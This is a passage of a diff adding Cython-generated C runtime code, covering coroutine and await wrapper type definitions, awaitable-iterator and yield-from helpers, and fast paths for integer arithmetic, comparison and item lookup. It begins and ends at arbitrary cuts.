{Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* PyIntBinop */ + #if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long x; + long a = PyInt_AS_LONG(op1); + + x = (long)((unsigned long)a + (unsigned long)b); + if (likely((x^a) >= 0 || (x^b) >= 0)) + return PyInt_FromLong(x); + return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op2); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + } + x = a + b; + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla + llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("add", return NULL) + result = ((double)a) + (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); +} +#endif + +/* GetItemInt */ + static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* ObjectGetItem */ + #if CYTHON_USE_TYPE_SLOTS +static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject *index) { + PyObject *runerr = NULL; + Py_ssize_t key_value; + key_value = __Pyx_PyIndex_AsSsize_t(index); + if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { + return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); + } + if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { + __Pyx_TypeName index_type_name = __Pyx_PyType_GetName(Py_TYPE(index)); + PyErr_Clear(); + PyErr_Format(PyExc_IndexError, + "cannot fit '" __Pyx_FMT_TYPENAME "' into an index-sized integer", index_type_name); + __Pyx_DECREF_TypeName(index_type_name); + } + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem_Slow(PyObject *obj, PyObject *key) { + __Pyx_TypeName obj_type_name; + if (likely(PyType_Check(obj))) { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(obj, __pyx_n_s_class_getitem); + if (!meth) { + PyErr_Clear(); + } else { + PyObject *result = __Pyx_PyObject_CallOneArg(meth, key); + Py_DECREF(meth); + return result; + } + } + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "'" __Pyx_FMT_TYPENAME "' object is not subscriptable", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key) { + PyTypeObject *tp = Py_TYPE(obj); + PyMappingMethods *mm = tp->tp_as_mapping; + PySequenceMethods *sm = tp->tp_as_sequence; + if (likely(mm && mm->mp_subscript)) { + return mm->mp_subscript(obj, key); + } + if (likely(sm && sm->sq_item)) { + return __Pyx_PyObject_GetIndex(obj, key); + } + return __Pyx_PyObject_GetItem_Slow(obj, key); +} +#endif + +/* DictGetItem */ + #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* PyIntCompare */ + static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_UNUSED_VAR(inplace); + if (op1 == op2) { + return 1; + } + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + return (a == b); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + int unequal; + unsigned long uintval; + Py_ssize_t size = __Pyx_PyLong_DigitCount(op1); + const digit* digits = __Pyx_PyLong_Digits(op1); + if (intval == 0) { + return (__Pyx_PyLong_IsZero(op1) == 1); + } else if (intval < 0) { + if (__Pyx_PyLong_IsNonNeg(op1)) + return 0; + intval = -intval; + } else { + if (__Pyx_PyLong_IsNeg(op1)) + return 0; + } + uintval = (unsigned long) intval; +#if PyLong_SHIFT * 4 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 4)) { + unequal = (size != 5) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[4] != ((uintval >> (4 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 3 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 3)) { + unequal = (size != 4) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 2 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 2)) { + unequal = (size != 3) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 1 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 1)) { + unequal = (size != 2) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif + unequal = (size != 1) || (((unsigned long) digits[0]) != (uintval & (unsigned long) PyLong_MASK)); + return (unequal == 0); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if 